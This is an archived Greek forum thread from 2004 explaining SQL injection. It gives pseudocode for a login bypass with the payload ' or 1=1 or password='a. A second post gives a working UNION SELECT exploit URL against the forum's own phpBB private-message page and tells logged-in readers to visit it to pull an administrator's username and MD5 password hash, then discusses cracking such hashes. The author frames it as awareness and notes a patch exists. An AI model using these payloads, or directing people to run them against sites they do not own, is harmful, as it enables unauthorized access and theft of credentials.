calculator Δημοσ. 29 Μαρτίου 2004 Δημοσ. 29 Μαρτίου 2004 SQL injection - τρύπα 2η Έστω ένα website που έχει μια κλασσική φόρμα που δίνουμε το username και το password μας για να γίνουμε login. Η σελίδα που επεξεργάζεται αυτά που δίνουμε, λαμβάνει την πληροφορία και εκτελεί κώδικα που μοιάζει κάπως με τον παρακάτω (σε ψευτοκώδικα): >sql = "select cnt=count(*) from Users where username='" + username + "' and password='" + password + "'"; execute(sql); if (cnt>0) { username1 = username; UserId = GetUserId(username); } else { Response.Write("Not authorized!"); } Ωραία μέχρι εδώ, ο κώδικας φαίνεται σωστός. Αν υπάρχει χρήστης που να έχει τέτοιο username & password όπως αυτά που δόθηκαν στη φόρμα, επιτρέπετε η πρόσβαση. Αν όχι, βγαίνει κατάλληλο μήνυμα λάθους. Για παράδειγμα, αν κάποιος βάλει τις εξής τιμές στη φόρμα: username -> calculator password -> mypassword το SQL query που θα εκτελεσθεί είναι το παρακάτω: >select cnt=count(*) from Users where username='calculator' and password='mypassword' Για να δούμε πως λειτουργεί το SQL injection. Αν εγώ είμαι έξυπνος και βάλω τις εξής τιμές στη φόρμα: username -> administrator password -> ' or 1=1 or password='a Για να δούμε πως θα γίνει το SQL query τώρα: >select cnt=count(*) from Users where username='administrator' and password='' or 1=1 or password='a' Όποιος ξέρει από SQL καταλαβαίνει. Αν εκτελεσθεί αυτό το query απλά θα γίνω login σαν administrator χωρίς να ξέρω καν το password του! Μεγάλη τρύπα ε; Με ένα πολύ απλό τρόπο η ασφάλεια του συστήματος κατέρρευσε. Ήδη ξέρω μερικά Ελληνικά sites που πιάνει Το SQL injection είναι πολύ επικίνδυνο μιας και μπορούν να γίνουν χοντρά πράγματα. Το θεωρώ top 1 προτεραιότητα για κάθε Web εφαρμογή και για κάθε developer που σέβεται τον εαυτό του και τους επισκέπτες του site του.
calculator Δημοσ. 29 Μαρτίου 2004 Δημοσ. 29 Μαρτίου 2004 Πραγματικό παράδειγμα Εδώ θα δώσω και ένα πραγματικό παράδειγμα χρήσης. Και αυτό το κάνω για τους εξής λόγους: 1. Για να δείξω ότι όσα αναφέρω παραπάνω δεν είναι θεωρίες αλλά σημαντικά πράγματα 2. Για να κατανοήσετε περισσότερο το μέγεθος του προβλήματος 3. Για να δείτε πόσο μια απλή θεωρητική προσέγγιση μπορεί να φτάσει σε πολύ πρακτικά αποτελέσματα 4. Για να ταρακουνήσω λίγο τους ιδιοκτήτες Ελληνικών sites ώστε να προσέχουν το θέμα ασφάλειας Και προφανώς δεν θα σας πω πω να κάνετε ζημιά στο A ή B site αλλά θα σας αποκαλύψω μια τρύπα του site που μόλις έχετε επισκεφθεί! Ναι, απίστευτο και όμως αληθινό. Βέβαια η τρύπα δεν είναι εύκολο να οδηγήσει σε άμεσα αποτελέσματα όπως θα εξηγήσω. Παρακαλώ βέβαια το διαχειριστή που πιθανά διαβάσει το μήνυμα, να προβεί στις ενέργειες που απαιτούνται. Όπως προανέφερα ότι κάτι είναι open source έχει ένα πλεονέκτημα και ένα μειονέκτημα: 1. Πολλά μάτια βλέπουν τον κώδικα και επομένως βλέπουν και τις πιθανές τρύπες και τις διορθώνουν 2. Πολλοί όμως hackers διαβάζουν τον κώδικα και εντοπίζουν πιθανές τρύπες για δικό τους όφελος Όπως ξέρετε το forum εδώ στηρίζεται στο πολύ γνωστό phpBB (http://www.phpbb.com) που είναι open source. Για να σας δείξω τι σημαίνει SQL injection στην πράξη, ακολουθήστε τα εξής βήματα: 1. Eπισκεφθείτε τη σελίδα http://www.insomnia.gr/phpBB2/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=AND%20pm.privmsgs_type=-99%20UNION%20SELECT%20username,null,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20phpbb_users%20WHERE%20user_level=1%20LIMIT%201/* Θα πρέπει να είσαστε ήδη login στο σύστημα για να το κάνετε σωστά. 2. Θα δείτε μια οθόνη με το username ενός από τους administrator και το MD5 hash του password. Το MD5 hash είναι ένας τρόπος κρυπτογράφησης ευρέως διαδεδομένος, ο οποίος έχει το χαρακτηριστικό να κρυπτογραφεί κάτι γρήγορα αλλά η αποκρυπτογράφηση να είναι πολύ δύσκολη. Το γεγονός ότι βλέπουμε το MD5 hash του password είναι σημαντικό security hole αν και το να βρούμε το πραγματικό password από το MD5 hash του δεν είναι πολύ εύκολο. Απαιτεί κάποιο πρόγραμμα - σπαστήρι (υπάρχει βέβαια), ίσως brute force cracking ή μεγάλο wordlist file, γρήγορο υπολογιστή και πολλές μέρες προσπάθειας. Αν το password περιλαμβάνει πολλούς χαρακτήρες ίσως κάτι τέτοιο είναι αδύνατο, θα απαιτούσε χρόνια με ένα μέσο υπολογιστή. Και πάλι όμως είναι τρύπα, η οποία αδύναμα passwords μπορεί να τα εκθέσει ανεπανόρθωτα! Η τρύπα που ανέφερα δεν την βρήκα εγώ. Αναφέρεται στο επίσημο site του phpBB και ήδη υπάρχει το κατάλληλο patch. Συστήνεται βέβαια να μπει το patch άμεσα. Εγώ εδώ σας έδωσα ένα πραγματικό παράδειγμα SQL injection για να δείτε ότι όσα αναφέρω δεν είναι αμπελοφιλοσοφίες αλλά έχουν άμεση εφαρμογή. Να σας κινήσω δηλαδή την περιέργεια και να δοκιμάσετε στα δικά σας sites να κάνετε τέτοιου είδους hacking για να τα προφυλάξετε. Περισσότερα για το security hole μπορείτε να διαβάσετε στη διεύθυνση http://www.securityfocus.com/archive/1/358708/2004-03-25/2004-03-31/0 Τέλος να αναφέρω ξανά ότι όσα είπα εδώ έχουν σαν σκοπό την προσπάθεια για αύξηση της ασφάλειας των Ελληνικών sites. Δεν έχω καμία πρόθεση να δημιουργήσω νέους hackers, αλλά να δείξω πόσα προβλήματα μπορούν να δημιουργηθούν αν δεν λαμβάνονται τα κατάλληλα μέτρα ασφαλείας. Βέβαια, αν δεν ξέρεις από που να προφυλαχθείς απλά βάζεις ένα firewall και νομίζεις ότι καθάρισες. Όπως είδατε (και όσοι ασχοληθούν περαιτέρω θα το καταλάβουν ακόμα πιο έντονα), το 99% των προβλημάτων βρίσκονται φωλιασμένα μέσα στον κώδικα που γράφουμε. Ας μην κατηγορούμε τόσο εύκολα λοιπόν την Microsoft και όλους τους υπόλοιπους όταν στα δικά μας προγράμματα υπάρχουν δεκάδες τρύπες, έτοιμες να εισβάλλουν όλοι όσοι θέλουν να κάνουν κακό. Σε επόμενα posts και εφόσον μου επιτραπεί θα αναφέρω μεθόδους καταπολέμησης τέτοιων προβλημάτων και τρόπων γραφής κώδικα που να περιορίζει όσο το δυνατό τα προβλήματα αυτά.
NeTd4mN Δημοσ. 29 Μαρτίου 2004 Δημοσ. 29 Μαρτίου 2004 Wreo lecture kai prwtotypo gia greek forum, an epitrapei h synexeia tha einai to idio ediaferousa. 8)
Προτεινόμενες αναρτήσεις
Αρχειοθετημένο
Αυτό το θέμα έχει αρχειοθετηθεί και είναι κλειστό για περαιτέρω απαντήσεις.